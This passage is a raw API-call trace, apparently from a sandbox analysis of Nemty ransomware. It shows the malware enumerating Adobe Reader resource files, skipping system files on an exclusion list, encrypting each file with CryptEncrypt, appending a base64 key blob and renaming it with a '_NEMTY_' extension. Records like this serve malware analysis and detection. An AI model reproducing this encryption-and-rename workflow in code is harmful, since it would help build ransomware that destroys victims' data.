lstrcmpiW (lpString1="DisplayLanguageNames.ar_AE.txt", lpString2="BOOTSECT.BAK") returned 1 [0214.590] lstrcmpiW (lpString1="DisplayLanguageNames.ar_AE.txt", lpString2="bootmgr") returned 1 [0214.590] lstrcmpiW (lpString1="DisplayLanguageNames.ar_AE.txt", lpString2="programdata") returned -1 [0214.590] lstrcmpiW (lpString1="DisplayLanguageNames.ar_AE.txt", lpString2="appdata") returned 1 [0214.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.591] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_AE.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.591] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_AE.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_AE.txt", lpUsedDefaultChar=0x0) returned 30 [0214.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0214.591] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_AE.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.591] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_AE.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_AE.txt", lpUsedDefaultChar=0x0) returned 30 [0214.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0214.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.591] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_AE.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.591] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_AE.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_AE.txt", lpUsedDefaultChar=0x0) returned 30 [0214.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.591] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_AE.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.591] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_AE.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_AE.txt", lpUsedDefaultChar=0x0) returned 30 [0214.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x63401e8 [0214.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0214.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0214.591] Sleep (dwMilliseconds=0x5) [0214.607] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x338da730, dwHighDateTime=0x1d561e8)) [0214.607] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x338da730, dwHighDateTime=0x1d561e8)) [0214.607] GetLastError () returned 0x0 [0214.607] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.607] GetLastError () returned 0x0 [0214.607] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.608] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0214.608] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0214.608] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0214.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0214.608] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e5dc | out: pszString="fJFAv6BCMqPgY1EsN0AIXnHdRfgrzLe2+c4I5c8jbQDHi8uW+cFhEhjo26szKJXH\r\nUuuV4mXF1VKc15OaY0spoBMG5gnI0XM/Ljig7LxBs37jz+BYrwZOAyI6Vtd9rEOp\r\n7Rf4InOZweBXzzFQ7db8IxG44xAl+mcPGefGQAQK6zjVmA9X4KjmNtUqujUkSp+A\r\nk+WfGr2MdSSxPpqsrqHApKdPRWcwRZvvlbTRp5eCgq2uXNU/3OA+iq9BX+tuCNyT\r\nr4KMNg22onfPKhCKHWdZRwNp25dIXyBinqieTrF7f+yesTmlavAufWssuSbXLP90\r\neYJcjPgDG/vc7Oc12+AquQ==\r\n", pcchString=0x653e5dc) returned 1 [0214.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0214.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0214.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0214.608] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_AE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ae.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0214.609] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=27784) returned 1 [0214.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6c80) returned 0x6352c48 [0214.609] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.609] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6c80, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6c80, lpOverlapped=0x0) returned 1 [0214.613] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.613] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6c80, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6c80, lpOverlapped=0x0) returned 1 [0214.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.613] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=27784, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c88 [0214.613] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0214.613] CloseHandle (hObject=0x2e8) returned 1 [0214.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x63402d0 [0214.613] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.613] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x63403b8 [0214.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x6343fe8 [0214.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b8 | out: hHeap=0x4f90000) returned 1 [0214.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.613] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_AE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ae.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_AE.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ae.txt._nemty_kgobjgd_")) returned 1 [0214.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0214.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402d0 | out: hHeap=0x4f90000) returned 1 [0214.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0214.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.614] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.ar_BH.txt", cAlternateFileName="DI7F79~1.TXT")) returned 1 [0214.614] lstrcmpiW (lpString1="DisplayLanguageNames.ar_BH.txt", lpString2=".") returned 1 [0214.614] lstrcmpiW (lpString1="DisplayLanguageNames.ar_BH.txt", lpString2="..") returned 1 [0214.614] lstrcmpiW (lpString1="DisplayLanguageNames.ar_BH.txt", lpString2="...") returned 1 [0214.614] lstrcmpiW (lpString1="DisplayLanguageNames.ar_BH.txt", lpString2="windows") returned -1 [0214.614] lstrcmpiW (lpString1="DisplayLanguageNames.ar_BH.txt", lpString2="$RECYCLE.BIN") returned 1 [0214.614] lstrcmpiW (lpString1="DisplayLanguageNames.ar_BH.txt", lpString2="rsa") returned -1 [0214.614] lstrcmpiW (lpString1="DisplayLanguageNames.ar_BH.txt", lpString2="NTDETECT.COM") returned -1 [0214.614] lstrcmpiW (lpString1="DisplayLanguageNames.ar_BH.txt", lpString2="ntldr") returned -1 [0214.614] lstrcmpiW (lpString1="DisplayLanguageNames.ar_BH.txt", lpString2="MSDOS.SYS") returned -1 [0214.614] lstrcmpiW (lpString1="DisplayLanguageNames.ar_BH.txt", lpString2="IO.SYS") returned -1 [0214.614] lstrcmpiW (lpString1="DisplayLanguageNames.ar_BH.txt", lpString2="boot.ini") returned 1 [0214.615] lstrcmpiW (lpString1="DisplayLanguageNames.ar_BH.txt", lpString2="boot.ini") returned 1 [0214.615] lstrcmpiW (lpString1="DisplayLanguageNames.ar_BH.txt", lpString2="AUTOEXEC.BAT") returned 1 [0214.615] lstrcmpiW (lpString1="DisplayLanguageNames.ar_BH.txt", lpString2="ntuser.dat") returned -1 [0214.615] lstrcmpiW (lpString1="DisplayLanguageNames.ar_BH.txt", lpString2="desktop.ini") returned 1 [0214.615] lstrcmpiW (lpString1="DisplayLanguageNames.ar_BH.txt", lpString2="CONFIG.SYS") returned 1 [0214.615] lstrcmpiW (lpString1="DisplayLanguageNames.ar_BH.txt", lpString2="RECYCLER") returned -1 [0214.615] lstrcmpiW (lpString1="DisplayLanguageNames.ar_BH.txt", lpString2="BOOTSECT.BAK") returned 1 [0214.615] lstrcmpiW (lpString1="DisplayLanguageNames.ar_BH.txt", lpString2="bootmgr") returned 1 [0214.615] lstrcmpiW (lpString1="DisplayLanguageNames.ar_BH.txt", lpString2="programdata") returned -1 [0214.615] lstrcmpiW (lpString1="DisplayLanguageNames.ar_BH.txt", lpString2="appdata") returned 1 [0214.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_BH.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_BH.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_BH.txt", lpUsedDefaultChar=0x0) returned 30 [0214.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0214.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_BH.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_BH.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_BH.txt", lpUsedDefaultChar=0x0) returned 30 [0214.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0214.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_BH.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_BH.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_BH.txt", lpUsedDefaultChar=0x0) returned 30 [0214.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_BH.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_BH.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_BH.txt", lpUsedDefaultChar=0x0) returned 30 [0214.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0214.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e8 | out: hHeap=0x4f90000) returned 1 [0214.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0214.615] Sleep (dwMilliseconds=0x5) [0214.623] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33900890, dwHighDateTime=0x1d561e8)) [0214.623] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33900890, dwHighDateTime=0x1d561e8)) [0214.623] GetLastError () returned 0x0 [0214.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.623] GetLastError () returned 0x0 [0214.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.623] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.623] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0214.623] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0214.623] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0214.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0214.623] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e5dc | out: pszString="Va6MpkycpGpYMJS1eqzNkBAIz77rGK9EHNYMLoXOgVzWWj2ettc0eibZCvfZqt0T\r\nuV9VY+fBm9YqXA4Ounf8AOUG/Y3l0jW3vsGhoGrXrGaawtn1ymkuUiaNOY/FXdUo\r\n+RgN8an0gZUOO9OfzQYTMFphL+J48LmCV5nUrqKNYpXolYHO1gIaPaez2DbggoJq\r\nVyD1nanAuEw78gsbEn+G7goYoJJWjKtlNDOLFzOL8LTM333v3ceS14ZF0QfDarWs\r\nzXHDdp/ybGQ+tXFiiGGF/ZRq5ySaVErEnxX77u79wkwKymUwDIkXiZvejEsIxTXk\r\nIXHcMWZ33MPxFajg1sIxCQ==\r\n", pcchString=0x653e5dc) returned 1 [0214.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0214.623] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.623] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0214.623] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0214.623] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_BH.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_bh.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0214.624] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=27798) returned 1 [0214.624] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6c90) returned 0x6352c48 [0214.624] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.624] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6c90, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6c90, lpOverlapped=0x0) returned 1 [0214.627] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.627] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6c90, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6c90, lpOverlapped=0x0) returned 1 [0214.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.628] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=27798, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c96 [0214.628] WriteFile (in: hFile=0x2e8, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0214.628] CloseHandle (hObject=0x2e8) returned 1 [0214.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0214.628] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.628] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0214.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, 